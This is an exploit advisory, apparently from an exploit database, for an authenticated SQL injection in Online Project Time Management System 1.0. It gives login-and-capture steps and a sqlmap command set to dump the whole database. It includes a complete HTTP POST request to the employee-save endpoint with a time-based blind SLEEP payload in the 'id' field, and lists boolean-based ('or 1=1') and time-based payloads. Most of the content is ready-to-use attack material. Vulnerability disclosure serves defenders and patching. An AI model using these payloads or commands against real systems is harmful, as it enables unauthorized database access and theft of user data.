Online Project Time Management System 1.0 - SQLi (Authenticated)

# Exploit Title: Online Project Time Management System 1.0 - SQLi (Authenticated)
# Date: 19/01/2022
# Exploit Author: Felipe Alcantara (Filiplain)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Kali Linux

# Steps to reproduce
# Log in as an employee
# Go to : http://localhost/ptms/?page=user
# Click Update
# Save request in BurpSuite
# Run saved request with sqlmap: sqlmap -r request.txt --batch --risk 3 --level 3 --dump

==========================
POST /ptms/classes/Users.php?f=save_employee HTTP/1.1
Host: localhost
Content-Length: 1362
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary39q8yel1pdwYRLNz
Origin: http://localhost
Referer: http://localhost/ptms/?page=user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=r9ds0ep1v3q2lom422v9e2vcfm
Connection: close


------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="id"

4' AND (SELECT 1 FROM (SELECT(SLEEP(4)))test)-- test
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="code"

2022-0003
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="generated_password"


------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="firstname"

Mark 2223
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="middlename"

Z
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="lastname"

Cooper
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="gender"

Male
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="department"

IT Department
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="position"

Department Manager
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="email"

mcooper@sample.com
------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="password"


------WebKitFormBoundary39q8yel1pdwYRLNz
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary39q8yel1pdwYRLNz--




==========================

#Payloads
#++++++++++++
#Payload: (Boolean-Based Blind)

#------WebKitFormBoundary39q8yel1pdwYRLNz
#Content-Disposition: form-data; name="id"

#4' or 1=1 --

#--------

#Payload: (time-based blind)

#------WebKitFormBoundary39q8yel1pdwYRLNz
#Content-Disposition: form-data; name="id"

#4' AND (SELECT 1 FROM (SELECT(SLEEP(4)))test)-- test

#-------